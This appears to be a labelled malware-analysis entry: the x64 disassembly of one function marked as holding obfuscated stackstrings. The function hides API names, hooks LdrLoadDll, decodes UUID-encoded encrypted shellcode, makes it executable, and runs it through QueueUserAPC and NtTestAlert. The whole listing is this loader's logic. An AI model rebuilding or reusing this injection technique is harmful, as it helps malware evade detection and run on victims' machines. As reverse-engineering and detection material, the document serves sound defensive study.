Function at 0x4017bc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0x5e0
lea rbp, [rsp + 0x80]
call fcn.00404300
lea rdx, [rbp + 0x450]
mov eax, 0
mov ecx, 6
mov rdi, rdx
rep stosq qword [rdi], rax
lea rdx, [rbp + 0x420]
mov eax, 0
mov ecx, 6
mov rdi, rdx
rep stosq qword [rdi], rax
lea rdx, [rbp + 0x3f0]
mov eax, 0
mov ecx, 6
mov rdi, rdx
rep stosq qword [rdi], rax
mov word [rbp + 0x3d0], 0x6c
mov word [rbp + 0x3d2], 0x6c
mov word [rbp + 0x3d4], 0x64
mov word [rbp + 0x3d6], 0x2e
mov word [rbp + 0x3d8], 0x33
mov word [rbp + 0x3da], 0x32
mov word [rbp + 0x3dc], 0x65
mov word [rbp + 0x3de], 0x73
mov word [rbp + 0x3e0], 0x55
mov word [rbp + 0x3e2], 0
mov word [rbp + 0x3b0], 0x6c
mov word [rbp + 0x3b2], 0x6c
mov word [rbp + 0x3b4], 0x64
mov word [rbp + 0x3b6], 0x2e
mov word [rbp + 0x3b8], 0x32
mov word [rbp + 0x3ba], 0x33
mov word [rbp + 0x3bc], 0x6c
mov word [rbp + 0x3be], 0x65
mov word [rbp + 0x3c0], 0x6e
mov word [rbp + 0x3c2], 0x72
mov word [rbp + 0x3c4], 0x65
mov word [rbp + 0x3c6], 0x4b
mov word [rbp + 0x3c8], 0
mov word [rbp + 0x390], 0x6c
mov word [rbp + 0x392], 0x6c
mov word [rbp + 0x394], 0x64
mov word [rbp + 0x396], 0x2e
mov word [rbp + 0x398], 0x6c
mov word [rbp + 0x39a], 0x6c
mov word [rbp + 0x39c], 0x64
mov word [rbp + 0x39e], 0x74
mov word [rbp + 0x3a0], 0x6e
mov word [rbp + 0x3a2], 0
lea rax, [rbp + 0x3d0]
mov rcx, rax
call fcn.0040172d
lea rax, [rbp + 0x3b0]
mov rcx, rax
call fcn.0040172d
lea rax, [rbp + 0x390]
mov rcx, rax
call fcn.0040172d
mov byte [rbp + 0x385], 0x6c
mov byte [rbp + 0x386], 0x6c
mov byte [rbp + 0x387], 0x44
mov byte [rbp + 0x388], 0x64
mov byte [rbp + 0x389], 0x61
mov byte [rbp + 0x38a], 0x6f
mov byte [rbp + 0x38b], 0x4c
mov byte [rbp + 0x38c], 0x72
mov byte [rbp + 0x38d], 0x64
mov byte [rbp + 0x38e], 0x4c
mov byte [rbp + 0x38f], 0
mov byte [rbp + 0x37b], 0x6c
mov byte [rbp + 0x37c], 0x6c
mov byte [rbp + 0x37d], 0x64
mov byte [rbp + 0x37e], 0x2e
mov byte [rbp + 0x37f], 0x6c
mov byte [rbp + 0x380], 0x6c
mov byte [rbp + 0x381], 0x64
mov byte [rbp + 0x382], 0x74
mov byte [rbp + 0x383], 0x6e
mov byte [rbp + 0x384], 0
mov byte [rbp + 0x36e], 0x6c
mov byte [rbp + 0x36f], 0x6c
mov byte [rbp + 0x370], 0x64
mov byte [rbp + 0x371], 0x2e
mov byte [rbp + 0x372], 0x32
mov byte [rbp + 0x373], 0x33
mov byte [rbp + 0x374], 0x6c
mov byte [rbp + 0x375], 0x65
mov byte [rbp + 0x376], 0x6e
mov byte [rbp + 0x377], 0x72
mov byte [rbp + 0x378], 0x65
mov byte [rbp + 0x379], 0x4b
mov byte [rbp + 0x37a], 0
lea rax, [rbp + 0x385]
mov rcx, rax
call fcn.004016b0
lea rax, [rbp + 0x37b]
mov rcx, rax
call fcn.004016b0
lea rax, [rbp + 0x36e]
mov rcx, rax
call fcn.004016b0
lea rdx, [rbp + 0x3d0]
lea rax, [rbp + 0x4a0]
mov rcx, rax
call fcn.004015e6
lea rdx, [rbp + 0x3b0]
lea rax, [rbp + 0x490]
mov rcx, rax
call fcn.004015e6
lea rdx, [rbp + 0x390]
lea rax, [rbp + 0x480]
mov rcx, rax
call fcn.004015e6
mov dword [rbp + 0x450], 0x30
mov qword [rbp + 0x458], 0
mov dword [rbp + 0x468], 0x40
lea rax, [rbp + 0x4a0]
mov qword [rbp + 0x460], rax
mov qword [rbp + 0x470], 0
mov qword [rbp + 0x478], 0
mov dword [rbp + 0x420], 0x30
mov qword [rbp + 0x428], 0
mov dword [rbp + 0x438], 0x40
lea rax, [rbp + 0x490]
mov qword [rbp + 0x430], rax
mov qword [rbp + 0x440], 0
mov qword [rbp + 0x448], 0
mov dword [rbp + 0x3f0], 0x30
mov qword [rbp + 0x3f8], 0
mov dword [rbp + 0x408], 0x40
lea rax, [rbp + 0x480]
mov qword [rbp + 0x400], rax
mov qword [rbp + 0x410], 0
mov qword [rbp + 0x418], 0
mov byte [rbp + 0x350], 0x41
mov byte [rbp + 0x351], 0x65
mov byte [rbp + 0x352], 0x6c
mov byte [rbp + 0x353], 0x64
mov byte [rbp + 0x354], 0x6e
mov byte [rbp + 0x355], 0x61
mov byte [rbp + 0x356], 0x48
mov byte [rbp + 0x357], 0x65
mov byte [rbp + 0x358], 0x6c
mov byte [rbp + 0x359], 0x75
mov byte [rbp + 0x35a], 0x64
mov byte [rbp + 0x35b], 0x6f
mov byte [rbp + 0x35c], 0x4d
mov byte [rbp + 0x35d], 0x74
mov byte [rbp + 0x35e], 0x65
mov byte [rbp + 0x35f], 0x47
mov byte [rbp + 0x360], 0
lea rax, [rbp + 0x350]
mov rcx, rax
call fcn.004016b0
lea rax, [rbp + 0x36e]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp + 0x350]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x550], rax
mov byte [rbp + 0x341], 0x73
mov byte [rbp + 0x342], 0x73
mov byte [rbp + 0x343], 0x65
mov byte [rbp + 0x344], 0x72
mov byte [rbp + 0x345], 0x64
mov byte [rbp + 0x346], 0x64
mov byte [rbp + 0x347], 0x41
mov byte [rbp + 0x348], 0x63
mov byte [rbp + 0x349], 0x6f
mov byte [rbp + 0x34a], 0x72
mov byte [rbp + 0x34b], 0x50
mov byte [rbp + 0x34c], 0x74
mov byte [rbp + 0x34d], 0x65
mov byte [rbp + 0x34e], 0x47
mov byte [rbp + 0x34f], 0
lea rax, [rbp + 0x341]
mov rcx, rax
call fcn.004016b0
lea rax, [rbp + 0x36e]
mov rdx, qword [rbp + 0x550]
mov rcx, rax
call rdx
mov rcx, rax
lea rax, [rbp + 0x341]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x548], rax
mov byte [rbp + 0x334], 0x63
mov byte [rbp + 0x335], 0x6f
mov byte [rbp + 0x336], 0x6c
mov byte [rbp + 0x337], 0x6c
mov byte [rbp + 0x338], 0x41
mov byte [rbp + 0x339], 0x6c
mov byte [rbp + 0x33a], 0x61
mov byte [rbp + 0x33b], 0x75
mov byte [rbp + 0x33c], 0x74
mov byte [rbp + 0x33d], 0x72
mov byte [rbp + 0x33e], 0x69
mov byte [rbp + 0x33f], 0x56
mov byte [rbp + 0x340], 0
lea rax, [rbp + 0x334]
mov rcx, rax
call fcn.004016b0
lea rax, [rbp + 0x36e]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp + 0x334]
mov r8, qword [rbp + 0x548]
mov rdx, rax
call r8
mov qword [rbp + 0x540], rax
mov byte [rbp + 0x325], 0x74
mov byte [rbp + 0x326], 0x63
mov byte [rbp + 0x327], 0x65
mov byte [rbp + 0x328], 0x74
mov byte [rbp + 0x329], 0x6f
mov byte [rbp + 0x32a], 0x72
mov byte [rbp + 0x32b], 0x50
mov byte [rbp + 0x32c], 0x6c
mov byte [rbp + 0x32d], 0x61
mov byte [rbp + 0x32e], 0x75
mov byte [rbp + 0x32f], 0x74
mov byte [rbp + 0x330], 0x72
mov byte [rbp + 0x331], 0x69
mov byte [rbp + 0x332], 0x56
mov byte [rbp + 0x333], 0
lea rax, [rbp + 0x325]
mov rcx, rax
call fcn.004016b0
lea rax, [rbp + 0x36e]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp + 0x325]
mov r8, qword [rbp + 0x548]
mov rdx, rax
call r8
mov qword [rbp + 0x538], rax
lea rax, [rbp + 0x37b]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp + 0x385]
mov r8, qword [rbp + 0x548]
mov rdx, rax
call r8
mov qword [rbp + 0x530], rax
mov byte [rbp + 0x323], 0x49
mov byte [rbp + 0x324], 0xbb
mov byte [rbp + 0x31b], 0xde
mov byte [rbp + 0x31c], 0xad
mov byte [rbp + 0x31d], 0xbe
mov byte [rbp + 0x31e], 0xef
mov byte [rbp + 0x31f], 0xde
mov byte [rbp + 0x320], 0xad
mov byte [rbp + 0x321], 0xbe
mov byte [rbp + 0x322], 0xef
mov byte [rbp + 0x317], 0x41
mov byte [rbp + 0x318], 0xff
mov byte [rbp + 0x319], 0xe3
mov byte [rbp + 0x31a], 0xc3
mov rax, qword [rbp + 0x530]
add rax, 5
mov qword [rbp + 0x528], rax
lea rax, [rbp + 0x31b]
mov rdx, qword [rbp + 0x528]
mov qword [rax], rdx
mov rax, qword [rbp + 0x540]
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x13
mov ecx, 0
call rax
mov qword [rbp + 0x520], rax
mov rax, qword [rbp + 0x520]
mov r8d, 5
lea rdx, section..rdata
mov rcx, rax
call fcn.00401550
mov rax, qword [rbp + 0x520]
lea rcx, [rax + 5]
lea rax, [rbp + 0x323]
mov r8d, 2
mov rdx, rax
call fcn.00401550
mov rax, qword [rbp + 0x520]
lea rcx, [rax + 7]
lea rax, [rbp + 0x31b]
mov r8d, 8
mov rdx, rax
call fcn.00401550
mov rax, qword [rbp + 0x520]
lea rcx, [rax + 0xf]
lea rax, [rbp + 0x317]
mov r8d, 4
mov rdx, rax
call fcn.00401550
mov dword [rbp + 0x310], 0
lea rdx, [rbp + 0x310]
mov rcx, qword [rbp + 0x520]
mov rax, qword [rbp + 0x538]
mov r9, rdx
mov r8d, 0x20
mov edx, 0x1e
call rax
mov rax, qword [rbp + 0x520]
mov qword [rbp + 0x518], rax
mov qword [rbp + 0x308], 0
lea rcx, [rbp + 0x308]
lea rdx, [rbp + 0x4a0]
mov rax, qword [rbp + 0x518]
mov r9, rcx
mov r8, rdx
mov edx, 0
mov ecx, 0
call rax
mov qword [rbp + 0x300], 0
lea rcx, [rbp + 0x300]
lea rdx, [rbp + 0x490]
mov rax, qword [rbp + 0x518]
mov r9, rcx
mov r8, rdx
mov edx, 0
mov ecx, 0
call rax
mov qword [rbp + 0x2f8], 0
lea rcx, [rbp + 0x2f8]
lea rdx, [rbp + 0x480]
mov rax, qword [rbp + 0x518]
mov r9, rcx
mov r8, rdx
mov edx, 0
mov ecx, 0
call rax
mov rcx, qword [rbp + 0x300]
lea rax, [rbp + 0x341]
mov r8, qword [rbp + 0x548]
mov rdx, rax
call r8
mov qword [rbp + 0x510], rax
mov rcx, qword [rbp + 0x300]
lea rax, [rbp + 0x334]
mov r8, qword [rbp + 0x510]
mov rdx, rax
call r8
mov qword [rbp + 0x508], rax
mov rcx, qword [rbp + 0x300]
lea rax, [rbp + 0x325]
mov r8, qword [rbp + 0x510]
mov rdx, rax
call r8
mov qword [rbp + 0x500], rax
mov byte [rbp + 0x2e0], 0x79
mov byte [rbp + 0x2e1], 0x72
mov byte [rbp + 0x2e2], 0x6f
mov byte [rbp + 0x2e3], 0x6d
mov byte [rbp + 0x2e4], 0x65
mov byte [rbp + 0x2e5], 0x4d
mov byte [rbp + 0x2e6], 0x73
mov byte [rbp + 0x2e7], 0x73
mov byte [rbp + 0x2e8], 0x65
mov byte [rbp + 0x2e9], 0x63
mov byte [rbp + 0x2ea], 0x6f
mov byte [rbp + 0x2eb], 0x72
mov byte [rbp + 0x2ec], 0x50
mov byte [rbp + 0x2ed], 0x65
mov byte [rbp + 0x2ee], 0x74
mov byte [rbp + 0x2ef], 0x69
mov byte [rbp + 0x2f0], 0x72
mov byte [rbp + 0x2f1], 0x57
mov byte [rbp + 0x2f2], 0
lea rax, [rbp + 0x2e0]
mov rcx, rax
call fcn.004016b0
mov rcx, qword [rbp + 0x300]
lea rax, [rbp + 0x2e0]
mov r8, qword [rbp + 0x510]
mov rdx, rax
call r8
mov qword [rbp + 0x4f8], rax
mov byte [rbp + 0x2c0], 0x73
mov byte [rbp + 0x2c1], 0x73
mov byte [rbp + 0x2c2], 0x65
mov byte [rbp + 0x2c3], 0x63
mov byte [rbp + 0x2c4], 0x6f
mov byte [rbp + 0x2c5], 0x72
mov byte [rbp + 0x2c6], 0x50
mov byte [rbp + 0x2c7], 0x74
mov byte [rbp + 0x2c8], 0x6e
mov byte [rbp + 0x2c9], 0x65
mov byte [rbp + 0x2ca], 0x72
mov byte [rbp + 0x2cb], 0x72
mov byte [rbp + 0x2cc], 0x75
mov byte [rbp + 0x2cd], 0x43
mov byte [rbp + 0x2ce], 0x74
mov byte [rbp + 0x2cf], 0x65
mov byte [rbp + 0x2d0], 0x47
mov byte [rbp + 0x2d1], 0
lea rax, [rbp + 0x2c0]
mov rcx, rax
call fcn.004016b0
mov rcx, qword [rbp + 0x300]
lea rax, [rbp + 0x2c0]
mov r8, qword [rbp + 0x510]
mov rdx, rax
call r8
mov qword [rbp + 0x4f0], rax
lea rax, [rbp + 0xd0]
lea rdx, str.87cbad17_ac4a_048d_0f04_38ec3ccac7a8
mov ecx, 0x1e8
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov dword [rbp + 0x4ec], 0x3d
mov eax, dword [rbp + 0x4ec]
cdqe
shl rax, 4
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x4e0], rax
cmp qword [rbp + 0x4e0], 0
jne 0x402283
mov eax, 0xffffffff
jmp 0x402576
mov dword [rbp + 0x55c], 0
jmp 0x4022f3
mov eax, dword [rbp + 0x55c]
cdqe
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x4e0]
add rdx, rax
mov eax, dword [rbp + 0x55c]
cdqe
mov rax, qword [rbp + rax*8 + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.RPCRT4.dll_UuidFromStringA]
call rax
mov dword [rbp + 0x4dc], eax
cmp dword [rbp + 0x4dc], 0
je 0x4022ec
mov rax, qword [rbp + 0x4e0]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, 0xffffffff
jmp 0x402576
add dword [rbp + 0x55c], 1
mov eax, dword [rbp + 0x55c]
cmp eax, dword [rbp + 0x4ec]
jl 0x40228f
mov eax, dword [rbp + 0x4ec]
cdqe
shl eax, 4
mov dword [rbp + 0x4d8], eax
movabs rax, 0x626858496e586242
mov qword [rbp + 0xb0], rax
movabs rax, 0x4d707934314c4d36
mov qword [rbp + 0xb8], rax
mov byte [rbp + 0xc0], 0
movabs rax, 0x6136534859505a47
mov qword [rbp + 0x90], rax
movabs rax, 0x6e52396134586377
mov qword [rbp + 0x98], rax
mov byte [rbp + 0xa0], 0
lea rcx, [rbp + 0x90]
lea rdx, [rbp + 0xb0]
lea rax, [rbp - 0x30]
mov r8, rcx
mov rcx, rax
call fcn.004030de
mov ecx, dword [rbp + 0x4d8]
mov rdx, qword [rbp + 0x4e0]
lea rax, [rbp - 0x30]
mov r8, rcx
mov rcx, rax
call fcn.0040409d
mov eax, dword [rbp + 0x4d8]
mov qword [rbp + 0x4d0], rax
mov qword [rbp + 0x4c8], 0
mov byte [rbp - 0x3d], 0x43
mov byte [rbp - 0x3c], 0x50
mov byte [rbp - 0x3b], 0x41
mov byte [rbp - 0x3a], 0x72
mov byte [rbp - 0x39], 0x65
mov byte [rbp - 0x38], 0x73
mov byte [rbp - 0x37], 0x55
mov byte [rbp - 0x36], 0x65
mov byte [rbp - 0x35], 0x75
mov byte [rbp - 0x34], 0x65
mov byte [rbp - 0x33], 0x75
mov byte [rbp - 0x32], 0x51
mov byte [rbp - 0x31], 0
lea rax, [rbp - 0x3d]
mov rcx, rax
call fcn.004016b0
mov rcx, qword [rbp + 0x300]
lea rax, [rbp - 0x3d]
mov r8, qword [rbp + 0x510]
mov rdx, rax
call r8
mov qword [rbp + 0x4c0], rax
mov byte [rbp - 0x49], 0x74
mov byte [rbp - 0x48], 0x72
mov byte [rbp - 0x47], 0x65
mov byte [rbp - 0x46], 0x6c
mov byte [rbp - 0x45], 0x41
mov byte [rbp - 0x44], 0x74
mov byte [rbp - 0x43], 0x73
mov byte [rbp - 0x42], 0x65
mov byte [rbp - 0x41], 0x54
mov byte [rbp - 0x40], 0x74
mov byte [rbp - 0x3f], 0x4e
mov byte [rbp - 0x3e], 0
lea rax, [rbp - 0x49]
mov rcx, rax
call fcn.004016b0
mov rcx, qword [rbp + 0x2f8]
lea rax, [rbp - 0x49]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x4b8], rax
mov rdx, qword [rbp + 0x4d0]
mov rax, qword [rbp + 0x508]
mov r9d, 4
mov r8d, 0x3000
mov ecx, 0
call rax
mov qword [rbp + 0x4c8], rax
movabs rcx, 0xde0b6b3a7640859
call fcn.00401654
lea r8, [rbp - 0x50]
mov rdx, qword [rbp + 0x4d0]
mov rcx, qword [rbp + 0x4c8]
mov rax, qword [rbp + 0x500]
mov r9, r8
mov r8d, 0x20
call rax
movabs rcx, 0xde0b6b3a7640801
call fcn.00401654
lea r8, [rbp - 0x50]
mov rdx, qword [rbp + 0x4d0]
mov rcx, qword [rbp + 0x4c8]
mov rax, qword [rbp + 0x500]
mov r9, r8
mov r8d, 0x40
call rax
movabs rcx, 0xde0b6b3a76409b1
call fcn.00401654
mov ebx, dword [rbp + 0x4d8]
mov rax, qword [rbp + 0x4f0]
call rax
mov r10, rax
mov rcx, qword [rbp + 0x4e0]
mov rdx, qword [rbp + 0x4c8]
mov qword [rsp + 0x20], 0
mov rax, qword [rbp + 0x4f8]
mov r9, rbx
mov r8, rcx
mov rcx, r10
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rcx, qword [rbp + 0x4c8]
mov rax, qword [rbp + 0x4c0]
mov r8d, 0
call rax
mov rax, qword [rbp + 0x4b8]
call rax
mov eax, 0
add rsp, 0x5e0
pop rbx
pop rdi
pop rbp
ret